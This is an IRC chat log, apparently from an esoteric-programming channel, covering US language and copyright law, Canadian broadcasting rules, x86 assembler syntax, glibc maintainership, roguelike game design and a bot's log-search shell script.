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02:04:29 <elliott> fizzie: HELP I BECAME A PERSON.
02:06:46 <pikhq> "Republican presidential hopeful Rick Santorum told Puerto Ricans on Wednesday they would have to make English their primary language if they want to pursue U.S. statehood, a statement at odds with the U.S. Constitution."
02:07:05 <pikhq> Keep it classy, man-synonymous-with-gay-sex-waste.
02:10:54 <pikhq> Friendly reminder: the US not only has no official language, but there are 7 distinct official languages within the US's states and territories.
02:12:38 <pikhq> (English, French, Spanish, Samoan, Chamorro, Carolinian)
02:12:55 <pikhq> (... and Hawaiian)
02:16:13 <zzo38> But isn't federal government stuff in United States always English, even if the individual states do not have to be English?
02:16:30 <zzo38> Since if it isn't, how can they do something at all?
02:16:38 <pikhq> zzo38: Not by law.
02:17:36 <pikhq> There is literally no requirement at all for the federal government to do *anything* in English. Though the regulations of many departments include a *list* of languages that they publish in.
02:18:15 <pikhq> For instance, the census is published in English, Spanish, Korean, Mandarin (with traditional characters), Vietnamese, and Tagalog.
02:19:03 <calamari> I live in arizona, the racist state.. they passed a law mandating english only for all state functions..of course that can't include voting for any federal offices
02:19:31 <calamari> actually it was a ballot proposition
02:20:31 <zzo38> But isn't there something like, the word "copyright" has to be written in English, or something like that?
02:21:41 <pikhq> US law is such that it entirely suffices to refer to things in a clear way.
02:22:12 <pikhq> (and you can get away with unclear references, it'll just be a bit of a pain for the court to deal with)
02:22:37 <pikhq> You could, if you so chose, write contracts with people in 100% Latin.
02:23:30 <zzo38> Is it allowed to do taxes in roman numerals?
02:23:54 <elliott> <pikhq> Keep it classy, man-synonymous-with-gay-sex-waste.
02:24:03 <zzo38> I thought there was some kind of international law that requires the word "copyright" to always be written in English (except Quebec).
02:24:05 <elliott> Santorum's name would be a lot funnier if the synonym wasn't explicitly started to mock him.
02:24:27 <elliott> I guess "man-who-was-terrible-enough-that-his-name-became-synonymous-with-gay-sex-waste" is almost as bad, if wordier.
02:24:45 <elliott> (Actually worse, since it implies actual wrongdoing rather than an unfortunate family name.)
02:25:13 <pikhq> zzo38: There's also no reason to say "copyright" on a copyrighted work.
02:25:15 <elliott> zzo38: You don't have to write the word "copyright" at all, if you're referring to copyright notices.
02:25:26 <elliott> Copyright is automatic; you have to opt out if you don't want it.
02:25:50 <elliott> I don't think copyright notices have /any/ legal effect nowadays.
02:26:28 <pikhq> elliott: They have *some* legal effect. They document the source of the copyright claim.
02:26:52 <RocketJSquirrel> Also they're required if you still want to register the copyright.
02:26:54 <pikhq> But, yeah, they are little more than metadata anymore.
02:27:25 <pikhq> Okay, true. But copyright registration itself does little more than make it easier to demonstrate the validity of your claim.
02:27:28 <elliott> RocketJSquirrel: I forget, is there any benefit at all to that?
02:28:01 <pikhq> elliott: It also means your work will (hopefully) be archived by copyright office.
02:28:10 <RocketJSquirrel> elliott: In the USA, you can't seek statutory damages for an unregistered copyright, you can just request they stop violating it.
02:28:16 <elliott> pikhq: Can I submit my 34573489537945 petabyte novel?
02:28:29 <elliott> RocketJSquirrel: Hmmmmmmmmmmmmmm I am extremely sceptical.
02:28:38 <elliott> That soudns like the kind of thing which used to be true and now isn't.
02:28:38 <pikhq> RocketJSquirrel: You could probably still seek civil damages, though.
02:28:52 <zzo38> elliott: Does the novel include not only text but also uncompressed 3D video?
02:28:59 <elliott> zzo38: HOW DID YOU GUESS?!
02:29:23 <pikhq> Oh. You need to register before filing suit at all.
02:29:33 <zzo38> elliott: Because, why else would it be 34573489537945 petabytes long?
02:29:34 <pikhq> But you can register at any time.
02:29:43 <pikhq> That is, you can register because you intend to sue.
02:31:40 <RocketJSquirrel> But yes, you can still seek other damages, statutory damages are just a blanket per-work thing.
02:31:41 <elliott> RocketJSquirrel: I started believin' ya once pikhq said what he said.
02:31:47 <elliott> Makes it kinda pointless :P
02:32:12 <pikhq> Yeah, US copyright law is weird.
02:32:21 <pikhq> Though all copyright law is.
02:33:08 <zzo38> pikhq: That might be why there are many different licenses, including licenses that tell it to expire the copyright early
02:33:44 <elliott> @ask ais523 is http://esolangs.org/wiki/Wiki_Cyclic_Tag#MediaWiki_Interpreter meant to look like that?
02:33:48 <pikhq> Technically, they do have copyright law.
02:34:05 <pikhq> It's just purely unenforced for anything not Chinese.
02:34:24 <elliott> @tell ais523 Also, "The above with comments removed for clarity:" I don't think you understand the purpose of comments.
02:36:54 <zzo38> In Canada, there is a law that you are not allowed to play only a part of a Canadian song on the radio; you have to play the whole thing. So I want to make each bar is just called an optional extension to the previous one with a different copyright assignment for each one, then would the radio be allowed to play only part of it?
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02:39:18 <elliott> zzo38: Is that law for real?
02:39:51 <pikhq> Knowing laws on Canadian media in Canada, it probably *is*.
02:40:16 <zzo38> elliott: Yes that is the law of the CRTC.
02:40:34 <pikhq> I do know that, for instance, there's laws mandating that a certain percentage of everything on the air must be Canadian.
02:40:51 <pikhq> (this is why there *exists* Canadian TV shows)
02:42:14 <pikhq> I'm not saying they're bad, I'm just saying they wouldn't exist without those laws.
02:42:47 <pikhq> If not for them, well, Canadian TV stations would just be US syndicates.
02:42:50 <zzo38> pikhq: Yes, that is true. But many Canadian radio and television are good, anyways. I think it is good thing that the CBC is required to do that; but I think it is a stupid law in other cases
02:43:11 <elliott> http://esolangs.org/w/index.php?title=Talk:Main_Page&diff=prev&oldid=6815 OMG HACKED
02:43:56 <elliott> pikhq: I've heard some horror stories wrt very mediocre Canadian bands getting played incessantly on the radio because of those laws.
02:44:07 <RocketJSquirrel> How Canadian does a TV show have to be to be considered Canadian?
02:44:20 <RocketJSquirrel> If it's edited in Canada but filmed in Hollywood, is that good enough?
02:44:27 <zzo38> In my opinion those laws should only apply to the CBC and not to everyone.
02:44:36 <pikhq> elliott: Made worse by the knowledge that there's some really good Canadian bands.
02:44:45 <pikhq> RocketJSquirrel: I dunno.
02:45:04 <pikhq> RocketJSquirrel: But I will tell you that many shows get filmed in Canada just because it's cheaper.
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02:55:39 <elliott> *Nickelback PROPER RENDERING OF THE NAME IS MANDATORY
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03:58:40 <RocketJSquirrel> Hahaha championofbirds is loading really slowly. I've sent such a torrent of traffic, the site just can't keep up!
04:03:11 <elliott> RocketJSquirrel: Loads quickly here.
04:17:04 <elliott> RocketJSquirrel: How often are you checking, exactly?
04:18:01 <RocketJSquirrel> I checked seconds before I wrote that, then minutes later to see if it was still slow.
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05:09:52 <pikhq> For those who may have heard me talking about www.baldursgate.com but haven't heard about it since (I don't know if that's anybody :P)...
05:10:14 <pikhq> Yes, it was official. Baldur's Gate: Enhanced Edition, coming this summer.
05:10:26 <shachaf> Isn't Baldur's Gate a boring game?
05:12:38 <elliott> pikhq: Hey, I was going to check that two hours after fizzie mentioned it.
05:14:27 <pikhq> https://twitter.com/#!/TrentOster Here, have fun.
05:15:36 <pikhq> (Trent Oster is cofounder of Beamdog, the company doing BG:EE, and before that was a cofounder of Bioware.)
05:51:38 <pikhq> So. Apparently Ulrich is no longer the glibc maintainer.
05:58:04 <pikhq> The commit log shows him basically no longer making substantial commits, and he appears to have been pulled from the bugzilla... http://sourceware.org/bugzilla/describecomponents.cgi?product=glibc These used to all be assigned to Ulrich.
05:58:17 <pikhq> elliott: Nothing official, but seriously, it's like he just fell off the project.
06:00:05 <pikhq> Also, bugs along the lines of "this hyperoptimised assembly version of function X is incorrect" get fixed instead of a "no it's not" response now.
06:03:38 <pikhq> His last substantial commit was Jan. 31.
06:04:50 <pikhq> elliott: He left Red hat in 2010.
06:05:24 <pikhq> He is now VP, Technology Division at Goldman Sachs.
06:08:37 <pikhq> And the mailing list is now flooded with breakage fix.
06:15:55 <shachaf> Does anyone even use glibc?
06:16:00 <pikhq> *Ahah*. The guy with most of the recent commits, Joseph Myers, is/was the eglibc maintainer.
06:33:30 <fizzie> There's no encoding for that!
06:35:09 <fizzie> lea 0(%rip), %rax; mov %rax, eglibc.
06:37:20 <elliott> fizzie: By the way, I actually think zem.fi looks pretty nice, apart from the 5,000 things wrong with it which are because you are of Finnish intelligence. (Didn't want you to get the wrong impression.)
06:37:30 <elliott> We need some kind of stamp. "OKAY - FOR A FINN".
06:38:05 <pikhq> Yeah, AT&T syntax is *nasty*.
06:38:30 <pikhq> disp(base, index, scale)? *eeew*
06:38:55 <fizzie> elliott: And to think that I wrote all the HTNL by speaking to a speech recognition system. (Not really.)
06:39:16 <pikhq> [base + index*scale + disp]
06:39:22 <zzo38> Which syntax do you prefer then?
06:39:32 <elliott> fizzie: You made a mistake: "HTNL". It should be: "HTML".
06:39:35 <pikhq> zzo38: Intel syntax.
06:39:40 <elliott> Try enunciating more precisely so your speech recognition software does not get confused.
06:39:45 <elliott> (It is of Finnish intelligence.)
06:40:01 <pikhq> (that would be the one used in the DOS and Windows assemblers)
06:40:05 <zzo38> I prefer the syntax similar to the DOS DEBUG program
06:40:38 <zzo38> But with some differences
06:40:57 <pikhq> That is Intel syntax.
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06:45:13 <fizzie> How about when you want just [disp + scale*index] and have to write disp(,index,scale)? Or when you want to call [eax] but it's written call *%eax instead? Or [a couple more examples I collected but have now forgotten]?
06:46:34 <pikhq> And the argument swap always screws me up.
06:48:22 <elliott> fizzie: Remember when Vorpal was all "oh no AT&T syntax is much easier" and you said [disp + scale*index] (or something of the sort) and he was all "WTF DOES THAT MEAN???" and then you were like "It's disp(,index,scale)" and he was all "WELL NOW IT'S OBVIOUS"?
06:48:30 <elliott> What I'm saying is that AT&T syntax is dumb.
06:48:32 <zzo38> I have written a x86 assembler once.
06:51:08 <zzo38> http://sprunge.us/iQNG
06:51:45 <zzo38> This program is public domain
06:53:42 <zzo38> It has its own syntax and only creates raw binaries, it doesn't make EXE headers or anything else like that.
06:54:04 <zzo38> But you can specify the offset at which it loads into memory.
06:54:28 <pikhq> Hmm. So, it could just barely make Linux a.out binaries.
06:54:43 <zzo38> And some instructions are missing, although most of them are there. You can fix it if you want to.
06:55:06 <zzo38> (All real mode instructions are present, however. Some protected mode instructions are missing.)
06:55:24 <pikhq> And of course it should do just fine for COM.
06:55:38 <zzo38> Yes, it works fine for COM.
06:55:57 <zzo38> It also has macros, so it might be possible to use macros for encoding some kind of header formats.
06:56:28 <pikhq> elliott: You could hack it. a.out is *nearly* raw.
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06:58:22 <pikhq> Basically, you've got an 8 word header and then your stuff.
06:58:41 <pikhq> (more if your code is going to be dynamic linked, but... Really? Why bother.)
07:18:48 <zzo38> But if you want to write protected mode programs you probably need to fix it to work with all of the protected instructions.
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07:19:24 <fizzie> You can hack together a dynamically linked ELF executable in a binary-producing assembler too, it's not like it'd be anything else than bytes.
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07:27:33 <pikhq> True. It's not even *that* hard.
07:27:41 <pikhq> ELF data structures aren't terribly complex.
07:28:05 <Sgeo> When was the last time I talked about personal stuff in here?
07:28:09 <Sgeo> It's been a while, right?
07:28:16 <Sgeo> (No, I'm not about to give you updates)
07:29:14 <elliott> Is talking about talking about your personal stuff the new talking about your personal stuff?
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08:27:59 <Sgeo> tswett, update
09:16:10 <augur> http://img.lulz.net/src/PEnsd.gif
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09:56:55 * oerjan wonders if today's xkcd has a hidden meaning or if the incomprehensibility is the _entire_ point.
09:59:26 <lambdabot> ais523: You have 2 new messages. '/msg lambdabot @messages' to read them.
09:59:30 <lambdabot> elliott asked 7h 25m 42s ago: is http://esolangs.org/wiki/Wiki_Cyclic_Tag#MediaWiki_Interpreter meant to look like that?
09:59:31 <lambdabot> elliott said 7h 25m 1s ago: Also, "The above with comments removed for clarity:" I don't think you understand the purpose of comments.
10:01:25 <ais523> @tell elliott yes, it is meant to look at that, and the implementation of the interpreter puts junk comments in its output, so removing them does indeed make it clearer
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10:54:06 <zzo38> I invented a game in seven hours called "KING" that at first at ask you a difficulty level and gives you description of your character such as "You have red scales, seven eyes, and no feet" and then the goal of the game is to collect 100 stones to become king.
10:55:48 <zzo38> You can also use the stones to fight (although you might lose the stones if you do that), and there are also potions.
10:58:23 <Madoka-Kaname> http://dl.dropbox.com/u/49064620/2012-03-16_05.33.15.png < 64 bit random access ROM in Minecraft~
10:59:29 <ais523> "random access ROM"? so it's both ROM and RAM /simultaneously/?
11:00:37 * ais523 notes that RAM is a bit of a weird name for what it's usually used for
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11:05:31 <oerjan> _true_ random access memory: you access a random bit each time.
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11:06:53 <RocketJSquirrel> ROM just means read-only, and RAM just means random-access, so really there's nothing preventing it from being both ... in fact, most real ROM is RAROM I suppose.
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11:12:04 <oerjan> Jafet: that's a really bad throat you've got, maybe you should see a doctor
11:13:44 <Jafet> One who gives good throat?
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11:24:57 <zzo38> I have a game on my computer, where the first sentence of the READ.ME file says: "BIS (Bugs In Space!) is a text-adventure style game (similar to Rogue or Hack)." That is untrue--it is not a text-adventure style game nor is it similar to Rogue or Hack.
11:25:49 <RocketJSquirrel> Nor are text-adventure style games similar to Rogue or Hack.
11:30:27 <zzo38> Game pieces include walls which cannot be moved through (although no points are lost for trying), water (which also cannot be moved through, but you lose ten points for trying), boulders (which can be pushed into water to make land), diamonds (worth 100 points when collected), hearts (also worth 100 points when collected -- no different to diamonds), food (can be collected but has no effect)
11:31:02 <zzo38> To reach the next level, you have to go into the house
11:32:28 <zzo38> There are "good arrows" which point to the left, and can be collected to shoot (W for short-range, F for long-range); and "bad arrows" which point up and down.
11:36:38 <zzo38> Other pieces include keys, doors, mirrors (have the same appearance as your piece, but otherwise act like walls), invisible walls, monster freezers, "Strong You" (the description is "can't move; keeps track of lives"), diamond makers (actually they make hearts as well), question marks (which become a random object when touched), flashing lights that kill you if touched, swappers, and holes.
11:37:21 <zzo38> If you win the game it displays the message: "YOU WIN! YOU WIN! YOU WIN! You have found $200 and the Tetro pieces of Ixi-Bixis" (I don't know what that is).
11:42:21 <ais523> btw, for fun, I tried reading the EULA of some shovelware games that came with Windows when I bought the computer
11:42:28 <ais523> (didn't actually /accept/ it, of course)
11:42:43 <ais523> among other things, it allowed them to modify it at any time simply by posting that they were doing so on their website
11:42:50 <ais523> and disallowed you from uninstalling the software
11:42:59 <ais523> I'd be pretty surprised if it were enforceable…
11:45:36 <oerjan> "I didn't uninstall it, i just ground its bits to dust with dd"
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12:03:53 <ais523> oerjan: they also disallowed you directly or indirectly removing bits of it
12:04:37 <oerjan> no no, you see, the bits are still _there_. i'm sure the NSA could read them _just_ fine...
12:05:47 <zzo38> I doubt such thing is valid especially if the software game with the computer
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12:09:21 <ais523> zzo38: it did, but it wanted you to accept the EULA before doing anything but putting up an EULA acceptance dialog
12:10:46 <ais523> RocketJSquirrel: re the topic, we really need to start an esolang programmer interviews section
12:10:55 <ais523> even if they weren't being interviewed about esolangs
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12:13:29 <ais523> also, I'm having problems trying to work out who was trolling in that interview
12:14:28 <oerjan> does it count as trolling if it's almost entirely for humor in the first place.
12:15:12 <oerjan> also, why don't i use question marks any longer.
12:15:58 <oerjan> `pastelogs oerjan>.*[?]$
12:16:13 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28391
12:16:55 <ais523> `pastlog <oerjan>.*\?$
12:17:24 <oerjan> oh there were plenty of hits in 2007... :P
12:17:34 <ais523> `pastlog <oerjan>.*\?$
12:17:53 <HackEgo> 2009-10-07.txt:22:51:43: <oerjan> Gregor: the third source comic link on that lonely dino strip is not working. also, why the heck are you going via google?
12:18:39 <HackEgo> #!/bin/sh \ cd /var/irclogs/_esoteric \ \ pasterandom() { \ if [ "$1" -gt 150 ]; then \ echo "No." \ exit \ fi \ for i in $(seq "$1"); do \ file=$(shuf -en 1 ????-??-??.txt) \ echo "$file:$(shuf -n 1 $file)" \ done | paste \ } \ \ if [ "$1" ]; then \ if expr "$1" + 0 >/dev/null 2>&1; then \ pasterandom "$1" \ else \ lines=$(grep -P -i -- "$1"
12:19:11 <oerjan> `run cat bin/pastelogs | tail
12:19:14 <HackEgo> lines=$(grep -P -i -- "$1" ????-??-??.txt | head -n 301) \ { \ echo "$lines" | head -n 300 \ [ $(echo "$lines" | wc -l) -eq 301 ] && echo "[too many lines; stopping]" \ } | paste \ fi \ else \ pasterandom 40 \ fi \
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13:53:39 <nortti> I'm sick of netpbm's make script stopping on "pnmtopng.c:2795: error: 'ZLIB_VERSION' undeclared (first use in this function)" under OS X. Can anyone help?
13:55:37 <ais523> do you have zlib installed?
13:55:50 <ais523> and if so, is it looking at the right headers to find it?
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14:01:54 <fizzie> It seems to be assuming that <png.h> automatically includes <zlib.h>. I guess that's reasonable, but I'm not entirely sure it's explicitly guaranteed.
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14:51:18 <RocketJSquirrel> <ais523> also, I'm having problems trying to work out who was trolling in that interview // I believe the only valid answer is "both of us"
14:52:26 <itidus21> fascinating how read-only and random-access are treated as mutually exclusive concepts
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14:55:17 <itidus21> another possible naming system is RM read memory / RWM read write memory
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16:30:51 <ais523> I'm not sure, but probably not
16:31:10 <ais523> I was more referencing that Keymaker and I had been interviewed too
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16:47:35 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
17:10:37 <ais523> Phantom_Hoover: isn't the whole /point/ that he's white and English and tries to emphasise that he isn't at every opportunity?
17:12:56 <ais523> that's the main defining feature of his comedy
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17:15:17 <quintopia> i could forgive someone thinking he wasn't though, considering he speaks hebrew fluently. if someone said "israeli" i'd say it was more plausible than not.
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17:30:57 <Vorpal> hm, What would you say defines a "rogue like"? Does it have to be turn based for example?
17:31:09 <Vorpal> (I guess I should highlight ais523 for that question)
17:31:59 <ais523> Vorpal: there have been debates over the definition
17:32:15 <ais523> there's a definition that people came up with at a roguelike conference, but it's generally considered imperfect
17:33:02 <Vorpal> ais523, got a link or anything useful for googling that?
17:33:52 <ais523> http://roguebasin.roguelikedevelopment.org/index.php/Berlin_Interpretation
17:35:29 <Vorpal> so pretty vague definition, okay
17:35:46 <Vorpal> ais523, hm do you know any game you would consider rogue like that isn't turn based?
17:36:19 <ais523> I've often wished it were turn-based, though
17:36:25 <Vorpal> never heard of it *googles*
17:36:26 <ais523> which is surprising given that it's a platformer
17:36:39 <ais523> as well as a roguelike
17:36:49 <Vorpal> uh... I don't see how a turn based platformer would even work :D
17:37:08 <ais523> everything pauses when you're not moving
17:38:14 <Vorpal> I'm not sure I would call world 4 of Braid turn based. For example you don't need to provide input to move (if you are falling)
17:39:09 <quintopia> Vorpal: but that's just logical. the game realized that your input would not change the outcome, and so just ran turns until it would again
17:39:26 <Vorpal> also you can move as much as you want during a turn, by bouncing up and down. So each "player" (you or a mob) doesn't take a turn moving
17:39:45 <Vorpal> quintopia, oh but it would. You could move sideways when falling after all
17:39:58 <Vorpal> like in most platformers (unrealistic of course)
17:40:07 <quintopia> in that case, yeah, you'd want to be able to pause midair too
17:40:23 <Vorpal> well you could just go back in time of course
17:40:24 <quintopia> the motion scheme should be DROD-like
17:40:49 <quintopia> everyone moves at once when you press a key
17:41:49 <quintopia> DROD does not have randomized levels
17:42:18 <Vorpal> I guess it depends on how much else it manages to do
17:43:23 <quintopia> well it is definitely a dungeon-crawler
17:43:31 <quintopia> with lots of environmental features
17:43:59 <quintopia> not much in the way of RPG-style stats tho
17:44:11 <quintopia> all enemies can be killed just by touching them with the sword
17:45:09 <Vorpal> anyway I was wondering if a twin stick shooter style real time combat "rogue like" would be fun. Saw some game trailer slightly along those lines some time ago (didn't catch the name) but it didn't seem to have resource management and so on anyway. But it got me thinking anyway. It did have random levels though
17:47:22 <Vorpal> not sure if it is just nethack, but the rogue likes I can think of doesn't have much in the way of quests. Sure nethack has the main quest. And then there is the class quest, but that is required for the main quest anyway. But not a lot of side quests really.
17:47:33 <Vorpal> quintopia, not sure what that one is *googles*
17:47:58 <Vorpal> lacks wikipedia page? Or search engine just messing with me?
17:48:17 <Vorpal> quintopia, okay it lacks wikipedia page, what is it
17:48:33 <quintopia> http://www.youtube.com/watch?v=MnDzMTCFtNs
17:49:45 <quintopia> it does lack resource management...health is the the only thing you have to maintain. there are some specials you can buy, but the main point is avoiding getting hit/shot while killing everything
17:50:03 <Vorpal> oh an iphone game, no idea about the controls on such a thing. On console it is one analogue stick to move and one to aim. On PC it is usually wasd to move and mouse to aim
17:50:31 <quintopia> its two virtual sticks. you can se them in the bottom left and right corners
17:50:49 <Vorpal> is one of the guys computer controlled?
17:51:55 <Vorpal> doesn't look like a particularly fun game that one
17:52:13 <quintopia> seems to be approximately what you described
17:52:23 <Vorpal> well yeah, but the controls must be terrible
17:52:38 <Vorpal> I really think you need the precision of a PC mouse for that type of game.
17:53:01 <Vorpal> I'm questioning weather you get the required precision with those controls
17:53:44 <Vorpal> not as sensitive to precision issues as a FPS, but still
17:53:45 <quintopia> i have no trouble placing myself and hitting what i'm aiming at. haven't played in a while though cuz its one of those real-money=virtual-upgrades games
17:54:07 <Vorpal> ugh, that type of game
17:54:56 <quintopia> so, other than controls, what did you have in mind
17:55:39 <Vorpal> well, the resource management of nethack, and possibly not using guns. Would work just fine with magic
17:56:19 <quintopia> why realtime and not continuous-time-turn-based as ais described?
17:56:48 <Vorpal> to require quick reactions
17:56:56 <Vorpal> you can't just stand there
17:57:11 <quintopia> but you're still gonna have permanent death?
17:57:13 <ais523> Vorpal: you might also be interested in http://roguebasin.roguelikedevelopment.org/index.php?title=What_a_roguelike_is
17:57:13 <Vorpal> hm, also stealth elements might be interesting. Not sure how that would work with a top down or isometric perspective though.
17:57:26 <Vorpal> (I /really/ like stealth games)
17:57:26 <ais523> and ADOM is a really quest-heavy roguelike
17:57:51 <Vorpal> played nethack, slashem, a little bit of angband (forgot which variant, was years ago)
17:57:58 <ais523> ADOM is somewhat spoiler-heavy
17:58:35 <Vorpal> ais523, anyway a rogue like definitely doesn't need ASCII graphics.
17:58:46 <ais523> it doesn't need any single one of the factors
17:58:47 <Vorpal> just look at Dungeons of Dredmor (sp?)
17:58:57 <ais523> oh, /that/ needs ASCII graphics ;)
17:59:02 <ais523> (or at least, a better camera angle)
17:59:14 <Vorpal> which is not really such a good angle
17:59:27 <Vorpal> isometric usually looks nicer
17:59:54 <Vorpal> hm what about a first person rogue like
18:00:51 <Vorpal> ais523, I can't think of a rogue like without at least an option for permadeath though
18:01:04 <Vorpal> and slaughtering loads of enemies
18:01:13 <quintopia> what about a second person rogue-like? where you can only ever see your character's face and what's immediately behind him?
18:01:30 <Vorpal> I don't think I ever heard of a second person game...
18:01:43 <ais523> choose your own adventure books are typically second person
18:03:54 <Vorpal> actually I think you might need some sort of turn based system, at least as long as you have hunger. Without hunger you could pause in a safe position when trying to figure out where to go. Same with turn based (easily)
18:04:01 <Vorpal> but not so much with real time hunger
18:07:55 <ais523> Vorpal: Spelunky doesn't have hunger, but sometimes an area you thought was safe isn't (slow-moving monster catches up to you, etc)
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20:15:33 <elliott> 09:56:55: * oerjan wonders if today's xkcd has a hidden meaning or if the incomprehensibility is the _entire_ point.
20:15:33 <lambdabot> elliott: You have 3 new messages. '/msg lambdabot @messages' to read them.
20:15:42 <elliott> @ask oerjan are you aware of the standard meaning of "keying a car"?
20:21:23 <elliott> 12:19:14: <HackEgo> lines=$(grep -P -i -- "$1" ????-??-??.txt | head -n 301) \ { \ echo "$lines" | head -n 300 \ [ $(echo "$lines" | wc -l) -eq 301 ] && echo "[too many lines; stopping]" \ } | paste \ fi \ else \ pasterandom 40 \ fi \
20:21:28 <elliott> @ask oerjan do you want a --tail option?
20:22:05 <elliott> 16:30:51: <ais523> I'm not sure, but probably not
20:22:05 <elliott> 16:31:10: <ais523> I was more referencing that Keymaker and I had been interviewed too
20:22:05 <elliott> 16:31:44: <RocketJSquirrel> But neither directly related to esolangs, no?
20:22:09 <elliott> RocketJSquirrel: It was for esolangs.
20:22:28 <elliott> (By [[User:Rottytooth]], who is a digital artist thing: http://danieltemkin.com/)
20:23:54 <elliott> RocketJSquirrel: http://danieltemkin.com/blog/post/Interview-with-Keymaker.aspx http://danieltemkin.com/blog/post/Interview-with-ais523.aspx
20:25:57 <pikhq> "St. Patricks Day 'Fight Brain Cancer while Killing Brain Cells' Dance Party" :D
20:27:43 <Phantom_Hoover> I'm sorry, you are a) American and b) have used the words "Saint", "Patrick's" and "Day" adjacently.
20:29:27 <elliott> "The title of this article is incorrect because of technical limitations. There should be no title."
20:29:33 <elliott> I am sorely tempted to hide the <h1> on [[TLWNN]].
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20:46:29 <lambdabot> elliott asked 30m 46s ago: are you aware of the standard meaning of "keying a car"?
20:46:29 <lambdabot> elliott asked 25m ago: do you want a --tail option?
20:46:38 <oerjan> no, and that would be nice.
20:47:29 <oerjan> although ideally it should take a date range of sorts...
20:48:22 <oerjan> aha, so that's what it means.
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20:50:05 <elliott> oerjan: it's still not funny
20:50:08 <elliott> but at least it makes some sense :P
20:50:24 <elliott> as far as date range goes: i'm not paid that much
20:51:02 <oerjan> elliott: well what about allowing that ????-??-?? glob used in it to be passed as an argument?
20:52:05 <elliott> it'll have to make it go through shell expansion though
20:52:09 <elliott> thanks to HackEgo's argument pasing
20:52:18 <elliott> (and the different directory)
20:52:25 <elliott> i'm not sure how to do that
20:52:59 <oerjan> well `run pastelogs 'myregexp' '????-??-??' would be good enough for this rare use?
20:53:23 <oerjan> i suppose that still expands a few things
20:53:27 <elliott> um i don't think you understand.
20:53:38 <elliott> i don't know how to get the shell to expand that ????-??-?? string given
20:53:59 <HackEgo> bin canary karma lib paste quotes share wisdom
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20:55:44 <oerjan> well i understand shell expansion even less than you do, obviously
20:56:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bin/pastelogs
20:56:48 <elliott> hm what's the bash for "this variable or this string if it's not set"
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21:05:16 <oerjan> <elliott> I am sorely tempted to hide the <h1> on [[TLWNN]]. <-- it's for a good cause, right?
21:06:14 <elliott> I would do it if it started "The language with no name is a ..." rather than "'''The Language With No Name''' is a ...", which explicitly gives it a name.
21:08:19 <oerjan> i note that on the first page of google hits for "the nameless one", nearly all hits have the words capitalized.
21:09:22 <fizzie> How many are related to Planescape: Torment?
21:10:10 <oerjan> this still holds true up to page 4
21:12:05 <oerjan> i actually didn't know about that character, i was just remembering a similarly named villain from the Torg roleplaying game, which i played way back
21:12:58 <elliott> Hey, it's that game people here like.
21:13:05 <elliott> Well... the Finns at least.
21:13:29 <oerjan> sadly that game essentially died after a few years, i think.
21:13:43 <elliott> No, I mean Planescape: Torment.
21:13:45 <oerjan> (i didn't play it for long myself though.)
21:13:52 <elliott> "The game's story begins when The Nameless One wakes up in a mortuary.[4][18] He is immediately approached by a floating skull, Morte, who offers advice on how to escape."
21:15:05 <oerjan> elliott: i wasn't expecting you to be speaking about Torg, as i said i think it essentially died.
21:15:27 <oerjan> oh this was a pen and paper RPG, i hear you need to mention that nowadays :P
21:19:01 <oerjan> looks like it's in eternal "too be revived" mode
21:27:52 <elliott> I wonder if I shold play "Tales of Monkey Island".
21:28:03 <elliott> I wonder if those quote marks are incorrect.
21:29:07 <zzo38> Is the term "noncomposite" sometimes used in mathematics?
21:29:17 <zzo38> Since 1 and primes are noncomposite
21:37:16 <itidus21> when i first played Maniac Mansion on NES i loved it...
21:38:22 <itidus21> our neighbor, my brother and i would camp around the tv ringing up the nintendo hotline trying to find solutions to puzzles
21:39:40 <itidus21> it wasn't until much much later i learned it was made with SCUMM and the rest of that story
21:43:57 <itidus21> without which the precious Monkey Island wouldn't exist
21:44:52 <zzo38> Can prime and composite be generalized to other monoids?
21:48:54 <zzo38> And then "composite" is something made from two things not identity
22:05:35 <elliott> http://www.reddit.com/r/haskell/comments/qzz3f/scumbag_fromintegral/ dlf;dlsdf;sdf kill kill kill
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22:08:19 * oerjan guesses: it's an adviceanimals invader?
22:08:38 <elliott> it's not even a scumbag thing it's just fry
22:09:06 <oerjan> um fry is the "can't tell if ... or ..." one, right
22:09:27 <elliott> except it doesn't actually fit that format.
22:10:16 <elliott> no, user account history suggests just stupid.
22:12:08 <oerjan> no, that was intentional to mean that wasn't really sarcastic
22:13:04 <elliott> i guessed it was intentional. i was "trolling" you so that u mad.
22:13:18 <oerjan> we should hire Dr. Dan Streetmentioner to clarify these differences.
22:14:12 <elliott> im going to name my firstborn umad
22:14:44 <oerjan> Umad ibn Elliott al Rashid
22:17:06 <oerjan> http://www.linkedin.com/pub/umad-malik/27/32/844
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22:28:43 <elliott> $ grep '^\*' Language_list | sed 's/^\* \[\[:\?//; s/|.*//; s/\]\]$//' | grep -v '^Category:' >langlist
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22:38:03 <oerjan> > ((++" Batman!") . take 48 . cycle . show) (0/0)
22:38:05 <lambdabot> "NaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaN Batman!"
22:42:15 <elliott> oerjan: guess what this is: http://sprunge.us/BTgd
22:42:47 <elliott> oh hm there is some brokenness there
22:43:00 <elliott> what's the best way to get all the _non-common_ lines from two files...
22:43:00 <oerjan> judging from the logs, a diff between Language list and Category:Languages
22:43:03 <elliott> (and which file they're in)
22:43:07 <fizzie> "The color is #NanNanNan", said gcolor to me while I was fiddling with it.
22:43:23 <fizzie> (Or probably #NaNNaNNaN.)
22:52:06 <elliott> oerjan: would a bot in here that announces wiki changes be nice.
22:52:19 <itidus21> i think we can judge that since the r g and b components all = NaN then it's a shade, or is it possible NaN a =/= NaN b
22:53:48 <elliott> http://stackoverflow.com/questions/9743991/simple-random-number-generation/9744888#9744888 the worst possible answer to this question.
22:56:44 <zzo38> I have used Xorshift to generate random numbers. But, METAFONT has another algorithm for random numbers, too.
22:59:07 <itidus21> zzo38: i dont want to pry into personal life, just seeking advice.. so if you wanted to get away from chat for a few hours while at home, what would you do?
22:59:36 <zzo38> itidus21: Turn it off.
23:00:18 <zzo38> Possibly, read a book, play a computer game, write a computer program, or sleep.
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23:01:03 <itidus21> would you ever expect to do more than these things while at home?
23:01:15 <Phantom_Hoover> "Recall that Haskell is a language free of side effects."
23:01:25 <Phantom_Hoover> Loving the conflation of referential transparency and side effects.
23:01:45 <zzo38> itidus21: Yes I would expect to do more than these things while at home. I am just giving a few examples.
